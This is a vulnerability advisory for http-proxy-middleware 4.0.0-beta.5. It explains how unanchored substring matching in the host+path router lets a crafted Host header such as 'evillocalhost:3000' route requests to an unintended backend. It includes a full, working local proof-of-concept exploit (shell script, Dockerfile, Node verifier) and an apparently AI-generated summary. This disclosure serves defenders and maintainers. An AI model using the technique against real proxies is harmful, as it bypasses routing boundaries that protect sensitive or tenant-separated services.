http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass
Description
# Summary
http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend.
# Details
Tested code state:
- validated on tag
v4.0.0-beta.5 - corresponding commit:
339f09ede860197807d4fd99ed9020fa5d0bd358
Relevant code locations:
src/router.tssrc/http-proxy-middleware.ts
Affected public API:
createProxyMiddleware({ router: { 'host/path': 'http://target' } })
Code explanation:
When a proxy-table router key contains /, getTargetFromProxyTable() concatenates attacker-controlled req.headers.host and req.url into a single hostAndPath string, then accepts the route if:
hostAndPath.indexOf(key) > -1
That is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is:
localhost:3000/api
but the attacker-controlled host is:
evillocalhost:3000
and the request path is:
/api
The concatenated attacker-controlled string:
evillocalhost:3000/api
still contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host.
Exploit path:
- the application enables the documented proxy-table
routerfeature with at least one host+path rule - an external attacker sends an ordinary HTTP request with a crafted
Hostheader HttpProxyMiddleware.prepareProxyRequest()applies router selection before proxyinggetTargetFromProxyTable()accepts the craftedHost + pathstring through substring matching- the request is proxied to the wrong backend
PoC
Create these files in the same working directory and run:
bash ./run.sh
File: run.sh
#!/usr/bin/env bash
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_URL="https://github.com/chimurai/http-proxy-middleware.git"
REPO_REF="v4.0.0-beta.5"
WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
REPRO_DIR="${WORKDIR}/reproduction"
IMAGE_TAG="http-proxy-middleware-router-bypass-poc"
cleanup() {
rm -rf "${WORKDIR}"
}
trap cleanup EXIT
echo "[a3] cloning target repository"
git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}"
mkdir -p "${REPRO_DIR}"
cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile"
cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs"
echo "[a3] building reproduction image"
docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}"
echo "[a3] running verification"
docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjs
File: Dockerfile
FROM node:22-bullseye
WORKDIR /work
COPY repo/package.json repo/yarn.lock /work/repo/
RUN corepack enable \
&& cd /work/repo \
&& yarn install --frozen-lockfile
COPY repo /work/repo
RUN cd /work/repo && yarn build
COPY reproduction /work/reproduction
File: verify.mjs
import http from 'node:http';
import fs from 'node:fs';
import assert from 'node:assert/strict';
import { createProxyMiddleware } from '/work/repo/dist/index.js';
const ROUTER_KEY = 'localhost:3000/api';
const CRAFTED_HOST = 'evillocalhost:3000';
function listen(server, port) {
return new Promise((resolve) => {
server.listen(port, '127.0.0.1', () => resolve());
});
}
function close(server) {
return new Promise((resolve, reject) => {
server.close((err) => {
if (err) {
reject(err);
return;
}
resolve();
});
});
}
function request(path, host) {
return new Promise((resolve, reject) => {
const req = http.request(
{
host: '127.0.0.1',
port: 3000,
path,
method: 'GET',
headers: {
Host: host,
},
},
(res) => {
let data = '';
res.setEncoding('utf8');
res.on('data', (chunk) => {
data += chunk;
});
res.on('end', () => {
resolve({ statusCode: res.statusCode, body: data });
});
},
);
req.on('error', reject);
req.end();
});
}
const defaultBackend = http.createServer((req, res) => {
res.end('DEFAULT');
});
const secretBackend = http.createServer((req, res) => {
res.end('SECRET');
});
const proxyMiddleware = createProxyMiddleware({
target: 'http://127.0.0.1:3101',
router: {
[ROUTER_KEY]: 'http://127.0.0.1:3102',
},
});
const proxyServer = http.createServer((req, res) => {
proxyMiddleware(req, res, () => {
res.statusCode = 404;
res.end('NO_PROXY');
});
});
try {
assert.ok(fs.existsSync('/work/repo/dist/index.js'));
assert.ok(fs.existsSync('/work/reproduction/verify.mjs'));
await listen(defaultBackend, 3101);
await listen(secretBackend, 3102);
await listen(proxyServer, 3000);
console.log('STEP start-services ok');
const baseline = await request('/api', 'safe.example:3000');
assert.equal(baseline.statusCode, 200);
assert.equal(baseline.body, 'DEFAULT');
console.log(`STEP baseline-route body=${baseline.body}`);
const crafted = await request('/api', CRAFTED_HOST);
assert.equal(crafted.statusCode, 200);
assert.equal(crafted.body, 'SECRET');
assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]);
console.log(`STEP crafted-route body=${crafted.body}`);
console.log('RESULT reproduced host_header_injection router substring match bypass');
} finally {
await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]);
}
This PoC starts:
- one default backend returning
DEFAULT - one alternate backend returning
SECRET - one proxy using:
createProxyMiddleware({
target: 'http://127.0.0.1:3101',
router: {
[ROUTER_KEY]: 'http://127.0.0.1:3102',
},
});
It then sends:
- a baseline request to
/apiwithHost: safe.example:3000 - a crafted request to
/apiwithHost: evillocalhost:3000
Observed result from the validated PoC:
- baseline request:
STEP baseline-route body=DEFAULT - crafted request:
STEP crafted-route body=SECRET - success marker:
RESULT reproduced host_header_injection router substring match bypass
The PoC is considered successful only if:
- the baseline request stays on the default backend
- the crafted request reaches the alternate backend
- the crafted host is not equal to the configured router host
# Impact
This is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted Host header.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Affected products
1- Range: =4.0.0-beta.5
Patches
Vulnerability mechanics
Root cause
"The `getTargetFromProxyTable()` function uses unanchored substring matching (`indexOf`) on attacker-controlled `Host` header and request path instead of performing an exact host+path comparison."
Attack vector
An external attacker sends an ordinary HTTP request with a crafted `Host` header that is a superstring of a configured host+path router key. The middleware's `getTargetFromProxyTable()` concatenates the attacker-controlled `Host` header with the request path and accepts the route if the configured key appears anywhere as a substring. This allows the attacker to bypass intended backend segmentation and route the request to an unintended backend. No authentication is required; the attacker only needs network access to the proxy and knowledge of a configured host+path rule.
Affected code
The vulnerability resides in `src/router.ts` and `src/http-proxy-middleware.ts` of `http-proxy-middleware`. The function `getTargetFromProxyTable()` concatenates attacker-controlled `req.headers.host` and `req.url` into a single string and then uses `hostAndPath.indexOf(key) > -1` to match router keys, which performs unanchored substring matching rather than exact host+path comparison.
What the fix does
The advisory does not provide a patch diff. The recommended fix would be to replace the unanchored `indexOf` substring check with an exact match that verifies the host portion equals the configured host and the path portion matches the configured path, rather than concatenating both values and performing a loose substring search. Until a fix is published, applications should avoid using host+path router keys or implement their own validation of the `Host` header before passing it to the middleware.
Preconditions
- configThe application must use the `router` option of `createProxyMiddleware` with at least one host+path key (e.g., `'host/path'`).
- networkThe attacker must be able to send HTTP requests to the proxy server with a crafted `Host` header.
- inputThe attacker's crafted `Host` header must be a superstring of the configured router key's host portion (e.g., `evillocalhost:3000` for configured `localhost:3000`).
Reproduction
The bundle includes a full PoC with `run.sh`, `Dockerfile`, and `verify.mjs`. To reproduce: create the three files in the same directory, run `bash ./run.sh`, and observe the output. The PoC starts a default backend on port 3101, a secret backend on port 3102, and a proxy with router key `localhost:3000/api` pointing to the secret backend. A baseline request to `/api` with `Host: safe.example:3000` returns `DEFAULT`, while a crafted request to `/api` with `Host: evillocalhost:3000` returns `SECRET`, demonstrating the bypass.
Generated on Jun 18, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
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